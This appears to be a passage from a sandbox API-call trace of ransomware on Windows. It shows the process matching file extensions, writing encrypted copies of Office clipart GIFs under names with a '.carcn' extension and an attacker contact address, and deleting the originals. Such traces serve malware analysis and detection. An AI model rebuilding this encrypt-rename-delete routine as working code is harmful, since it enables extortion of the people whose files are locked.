returned -1 [0182.815] lstrlenW (lpString=".ppt") returned 4 [0182.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString=".zip") returned 4 [0182.815] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0182.815] lstrlenW (lpString=".rar") returned 4 [0182.815] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0182.815] lstrlenW (lpString=".bz2") returned 4 [0182.815] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0182.815] lstrlenW (lpString=".7z") returned 3 [0182.815] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString=".dbf") returned 4 [0182.815] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString=".1cd") returned 4 [0182.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0182.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.816] lstrlenW (lpString=".jpg") returned 4 [0182.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0182.816] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0182.816] lstrlenW (lpString="AG00021_.GIF") returned 12 [0182.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.816] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=14873) returned 1 [0182.816] CloseHandle (hObject=0x360) returned 1 [0182.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0182.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.816] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.816] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.817] GetLastError () returned 0x0 [0182.817] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x3a19, lpOverlapped=0x0) returned 1 [0184.130] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0184.132] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.132] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.132] SetEndOfFile (hFile=0x374) returned 1 [0184.132] CloseHandle (hObject=0x374) returned 1 [0184.134] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.134] SetEndOfFile (hFile=0x360) returned 1 [0184.135] CloseHandle (hObject=0x360) returned 1 [0184.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.135] lstrlenW (lpString=".doc") returned 4 [0184.135] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.135] lstrlenW (lpString=".docx") returned 5 [0184.135] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.135] lstrlenW (lpString=".pdf") returned 4 [0184.135] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.135] lstrlenW (lpString=".xls") returned 4 [0184.135] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.135] lstrlenW (lpString=".xlsx") returned 5 [0184.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.136] lstrlenW (lpString=".ppt") returned 4 [0184.136] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.136] lstrlenW (lpString=".zip") returned 4 [0184.136] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.136] lstrlenW (lpString=".rar") returned 4 [0184.136] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.136] lstrlenW (lpString=".bz2") returned 4 [0184.136] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.136] lstrlenW (lpString=".7z") returned 3 [0184.136] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.136] lstrlenW (lpString=".dbf") returned 4 [0184.136] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.136] lstrlenW (lpString=".1cd") returned 4 [0184.136] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.136] lstrlenW (lpString=".jpg") returned 4 [0184.136] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.136] lstrlenW (lpString=".doc") returned 4 [0184.136] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.136] lstrlenW (lpString=".docx") returned 5 [0184.136] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.136] lstrlenW (lpString=".pdf") returned 4 [0184.136] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.136] lstrlenW (lpString=".xls") returned 4 [0184.136] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.136] lstrlenW (lpString=".xlsx") returned 5 [0184.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.136] lstrlenW (lpString=".ppt") returned 4 [0184.136] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.137] lstrlenW (lpString=".zip") returned 4 [0184.137] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.137] lstrlenW (lpString=".rar") returned 4 [0184.137] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.137] lstrlenW (lpString=".bz2") returned 4 [0184.137] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.137] lstrlenW (lpString=".7z") returned 3 [0184.137] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.137] lstrlenW (lpString=".dbf") returned 4 [0184.137] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.137] lstrlenW (lpString=".1cd") returned 4 [0184.137] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0184.137] lstrlenW (lpString=".jpg") returned 4 [0184.137] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.137] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.137] lstrlenW (lpString="AG00040_.GIF") returned 12 [0184.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.137] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=8097) returned 1 [0184.137] CloseHandle (hObject=0x360) returned 1 [0184.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0184.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.138] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.138] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0184.138] GetLastError () returned 0x0 [0184.138] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0184.212] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0184.213] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.213] WriteFile (in: hFile=0x31c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.213] SetEndOfFile (hFile=0x31c) returned 1 [0184.213] CloseHandle (hObject=0x31c) returned 1 [0184.214] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.214] SetEndOfFile (hFile=0x360) returned 1 [0184.214] CloseHandle (hObject=0x360) returned 1 [0184.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0184.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.215] lstrlenW (lpString=".doc") returned 4 [0184.215] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.215] lstrlenW (lpString=".docx") returned 5 [0184.215] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.215] lstrlenW (lpString=".pdf") returned 4 [0184.215] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.215] lstrlenW (lpString=".xls") returned 4 [0184.215] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.215] lstrlenW (lpString=".xlsx") returned 5 [0184.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.216] lstrlenW (lpString=".ppt") returned 4 [0184.216] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.216] lstrlenW (lpString=".zip") returned 4 [0184.216] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.216] lstrlenW (lpString=".rar") returned 4 [0184.216] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.216] lstrlenW (lpString=".bz2") returned 4 [0184.216] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.216] lstrlenW (lpString=".7z") returned 3 [0184.216] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.216] lstrlenW (lpString=".dbf") returned 4 [0184.216] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.216] lstrlenW (lpString=".1cd") returned 4 [0184.216] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.216] lstrlenW (lpString=".jpg") returned 4 [0184.216] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.216] lstrlenW (lpString=".doc") returned 4 [0184.216] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.216] lstrlenW (lpString=".docx") returned 5 [0184.216] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.216] lstrlenW (lpString=".pdf") returned 4 [0184.216] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.216] lstrlenW (lpString=".xls") returned 4 [0184.216] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.217] lstrlenW (lpString=".xlsx") returned 5 [0184.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.217] lstrlenW (lpString=".ppt") returned 4 [0184.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.217] lstrlenW (lpString=".zip") returned 4 [0184.217] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.217] lstrlenW (lpString=".rar") returned 4 [0184.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.217] lstrlenW (lpString=".bz2") returned 4 [0184.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.217] lstrlenW (lpString=".7z") returned 3 [0184.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.217] lstrlenW (lpString=".dbf") returned 4 [0184.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.217] lstrlenW (lpString=".1cd") returned 4 [0184.217] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0184.217] lstrlenW (lpString=".jpg") returned 4 [0184.217] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.217] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.217] lstrlenW (lpString="AG00052_.GIF") returned 12 [0184.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0184.225] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=7686) returned 1 [0184.226] CloseHandle (hObject=0x394) returned 1 [0184.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0184.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0184.226] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.226] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.233] GetLastError () returned 0x0 [0184.233] ReadFile (in: hFile=0x394, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0184.407] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0184.408] ReadFile (in: hFile=0x394, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.408] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.408] SetEndOfFile (hFile=0x374) returned 1 [0184.435] CloseHandle (hObject=0x374) returned 1 [0184.436] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.436] SetEndOfFile (hFile=0x394) returned 1 [0184.448] CloseHandle (hObject=0x394) returned 1 [0184.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.460] lstrlenW (lpString=".doc") returned 4 [0184.460] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.460] lstrlenW (lpString=".docx") returned 5 [0184.460] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.460] lstrlenW (lpString=".pdf") returned 4 [0184.460] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.460] lstrlenW (lpString=".xls") returned 4 [0184.460] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.460] lstrlenW (lpString=".xlsx") returned 5 [0184.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.460] lstrlenW (lpString=".ppt") returned 4 [0184.461] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.461] lstrlenW (lpString=".zip") returned 4 [0184.461] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.461] lstrlenW (lpString=".rar") returned 4 [0184.461] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.461] lstrlenW (lpString=".bz2") returned 4 [0184.461] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.461] lstrlenW (lpString=".7z") returned 3 [0184.461] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.461] lstrlenW (lpString=".dbf") returned 4 [0184.461] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.461] lstrlenW (lpString=".1cd") returned 4 [0184.461] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.461] lstrlenW (lpString=".jpg") returned 4 [0184.461] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.461] lstrlenW (lpString=".doc") returned 4 [0184.461] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.461] lstrlenW (lpString=".docx") returned 5 [0184.461] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.461] lstrlenW (lpString=".pdf") returned 4 [0184.461] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.461] lstrlenW (lpString=".xls") returned 4 [0184.462] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.462] lstrlenW (lpString=".xlsx") returned 5 [0184.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.462] lstrlenW (lpString=".ppt") returned 4 [0184.462] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0184.462] lstrlenW (lpString=".zip") returned 4 [0184.462] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.462] lstrlenW (lpString=".rar") returned 4 [0184.462] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.462] lstrlenW (lpString=".bz2") returned 4 [0184.462] lstrcmpiW 